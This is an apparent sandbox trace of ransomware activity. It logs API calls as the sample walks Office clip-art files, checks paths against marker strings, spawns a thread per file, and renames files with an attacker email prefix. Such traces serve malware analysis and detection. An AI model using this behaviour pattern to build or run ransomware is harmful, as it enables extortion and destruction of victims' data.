	[0091.919] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.919] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.gif", _SubStr="wasse") returned 0x0
	[0091.919] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.gif", _SubStr="passw") returned 0x0
	[0091.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fde8c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970
	[0091.920] SetThreadPriority (hThread=0x970, nPriority=15) returned 1
	[0091.921] malloc (_Size=0x1000) returned 0x2fe38f0
	[0091.921] _swprintf (in: param_1=0x2fe38f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.gif") returned 68
	[0091.921] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.921] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.gif", _SubStr="wasse") returned 0x0
	[0091.921] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.gif", _SubStr="passw") returned 0x0
	[0091.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe38f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974
	[0091.922] SetThreadPriority (hThread=0x974, nPriority=15) returned 1
	[0091.923] malloc (_Size=0x1000) returned 0x2fe6908
	[0091.923] _swprintf (in: param_1=0x2fe6908, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.gif") returned 68
	[0091.923] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.923] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.gif", _SubStr="wasse") returned 0x0
	[0091.923] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.gif", _SubStr="passw") returned 0x0
	[0091.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe6908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978
	[0091.924] SetThreadPriority (hThread=0x978, nPriority=15) returned 1
	[0091.925] malloc (_Size=0x1000) returned 0x2fe7910
	[0091.925] _swprintf (in: param_1=0x2fe7910, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.gif") returned 68
	[0091.925] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.925] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.gif", _SubStr="wasse") returned 0x0
	[0091.925] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.gif", _SubStr="passw") returned 0x0
	[0091.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe7910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c
	[0091.926] SetThreadPriority (hThread=0x97c, nPriority=15) returned 1
	[0092.386] malloc (_Size=0x1000) returned 0x51f4090
	[0092.387] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif") returned 97
	[0092.387] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.387] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="wasse") returned 0x0
	[0092.387] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="passw") returned 0x0
	[0092.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0092.387] SetThreadPriority (hThread=0x780, nPriority=15) returned 1
	[0092.394] malloc (_Size=0x1000) returned 0x51f1078
	[0092.394] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif") returned 97
	[0092.394] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.394] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="wasse") returned 0x0
	[0092.394] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="passw") returned 0x0
	[0092.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940
	[0092.458] SetThreadPriority (hThread=0x940, nPriority=15) returned 1
	[0092.462] malloc (_Size=0x1000) returned 0x51f4090
	[0092.467] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif") returned 97
	[0092.467] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.467] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="wasse") returned 0x0
	[0092.467] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="passw") returned 0x0
	[0092.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0092.468] SetThreadPriority (hThread=0x7fc, nPriority=15) returned 1
	[0092.476] malloc (_Size=0x1000) returned 0x51f4090
	[0092.476] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif") returned 97
	[0092.476] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.476] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="wasse") returned 0x0
	[0092.476] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="passw") returned 0x0
	[0092.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c
	[0092.477] SetThreadPriority (hThread=0x90c, nPriority=15) returned 1
	[0092.484] malloc (_Size=0x1000) returned 0x51f0070
	[0092.608] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif") returned 97
	[0092.608] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.608] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="wasse") returned 0x0
	[0092.608] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="passw") returned 0x0
	[0092.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814
	[0092.609] SetThreadPriority (hThread=0x814, nPriority=15) returned 1
	[0092.619] malloc (_Size=0x1000) returned 0x51f5098
	[0092.619] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif") returned 97
	[0092.619] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.619] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="wasse") returned 0x0
	[0092.619] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="passw") returned 0x0
	[0092.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924
	[0092.620] SetThreadPriority (hThread=0x924, nPriority=15) returned 1
	[0092.624] malloc (_Size=0x1000) returned 0x51f4090
	[0092.628] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif") returned 97
	[0092.628] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.628] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="wasse") returned 0x0
	[0092.628] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="passw") returned 0x0
	[0092.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0092.628] SetThreadPriority (hThread=0x854, nPriority=15) returned 1
	[0092.633] malloc (_Size=0x1000) returned 0x51f0070
	[0092.636] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif") returned 97
	[0092.636] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.636] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="wasse") returned 0x0
	[0092.636] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="passw") returned 0x0
	[0092.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0092.636] SetThreadPriority (hThread=0x750, nPriority=15) returned 1
	[0092.644] malloc (_Size=0x1000) returned 0x51f0070
	[0092.644] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif") returned 97
	[0092.644] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.644] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="wasse") returned 0x0
	[0092.644] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="passw") returned 0x0
	[0092.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954
	[0092.645] SetThreadPriority (hThread=0x954, nPriority=15) returned 1
	[0092.649] malloc (_Size=0x1000) returned 0x51f3088
	[0092.649] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif") returned 97
	[0092.649] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.650] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="wasse") returned 0x0
	[0092.650] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="passw") returned 0x0
	[0092.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758
	[0092.670] SetThreadPriority (hThread=0x758, nPriority=15) returned 1
	[0092.673] malloc (_Size=0x1000) returned 0x51f1078
	[0092.673] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif") returned 97
	[0092.677] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.677] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="wasse") returned 0x0
	[0092.677] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="passw") returned 0x0
	[0092.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890
	[0092.677] SetThreadPriority (hThread=0x890, nPriority=15) returned 1
	[0092.686] malloc (_Size=0x1000) returned 0x51f5098
	[0092.686] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif") returned 97
	[0092.686] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.686] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="wasse") returned 0x0
	[0092.686] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="passw") returned 0x0
	[0092.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0092.727] SetThreadPriority (hThread=0x778, nPriority=15) returned 1
	[0092.739] malloc (_Size=0x1000) returned 0x51f0070
	[0092.739] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif") returned 97
	[0092.739] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.739] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="wasse") returned 0x0
	[0092.739] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="passw") returned 0x0
	[0092.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848
	[0092.739] SetThreadPriority (hThread=0x848, nPriority=15) returned 1
	[0092.746] malloc (_Size=0x1000) returned 0x51f3088
	[0092.746] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif") returned 97
	[0092.746] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.746] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="wasse") returned 0x0
	[0092.746] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="passw") returned 0x0
	[0092.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880
	[0092.747] SetThreadPriority (hThread=0x880, nPriority=15) returned 1
	[0092.749] malloc (_Size=0x1000) returned 0x51f60a0
	[0092.752] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif") returned 97
	[0092.752] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.755] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="wasse") returned 0x0
	[0092.755] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="passw") returned 0x0
	[0092.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960
	[0092.755] SetThreadPriority (hThread=0x960, nPriority=15) returned 1
	[0092.762] malloc (_Size=0x1000) returned 0x51f0070
	[0092.762] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif") returned 97
	[0092.762] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.762] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="wasse") returned 0x0
	[0092.762] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="passw") returned 0x0
	[0092.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8
	[0092.762] SetThreadPriority (hThread=0x7d8, nPriority=15) returned 1
	[0092.768] malloc (_Size=0x1000) returned 0x51f0070
	[0092.768] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif") returned 97
	[0092.768] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.768] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="wasse") returned 0x0
	[0092.768] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="passw") returned 0x0
	[0092.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8
	[0092.769] SetThreadPriority (hThread=0x8f8, nPriority=15) returned 1
	[0092.771] malloc (_Size=0x1000) returned 0x51f4090
	[0092.774] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif") returned 97
	[0092.775] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.776] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="wasse") returned 0x0
	[0092.777] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="passw") returned 0x0
	[0092.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c
	[0092.779] SetThreadPriority (hThread=0x91c, nPriority=15) returned 1
	[0092.786] malloc (_Size=0x1000) returned 0x51f1078
	[0092.787] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif") returned 97
	[0092.787] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.787] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="wasse") returned 0x0
	[0092.787] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="passw") returned 0x0
	[0092.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958
	[0092.790] SetThreadPriority (hThread=0x958, nPriority=15) returned 1
	[0092.795] malloc (_Size=0x1000) returned 0x51f3088
	[0092.797] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif") returned 97
	[0092.797] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.797] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="wasse") returned 0x0
	[0092.797] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="passw") returned 0x0
	[0092.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8
	[0092.798] SetThreadPriority (hThread=0x8c8, nPriority=15) returned 1
	[0092.803] malloc (_Size=0x1000) returned 0x51f0070
	[0092.804] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif") returned 97
	[0092.804] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.804] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="wasse") returned 0x0
	[0092.804] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="passw") returned 0x0
	[0092.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0
	[0092.805] SetThreadPriority (hThread=0x8c0, nPriority=15) returned 1
	[0092.812] malloc (_Size=0x1000) returned 0x51f0070
	[0092.812] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif") returned 97
	[0092.812] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="CoronaVirus") returned 0x0
	[0092.812] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="wasse") returned 0x0
	[0092.812] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="passw") returned 0x0
	[0092.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0092.812] SetThreadPriority (hThread=0x8d8, nPriority=15) returned 1
	[0092.818] malloc (_Size=0x1000) returned 0x51f5098
	[0092.818] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif") returned 97
	[0092.818] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="CoronaVirus") returned 0x0
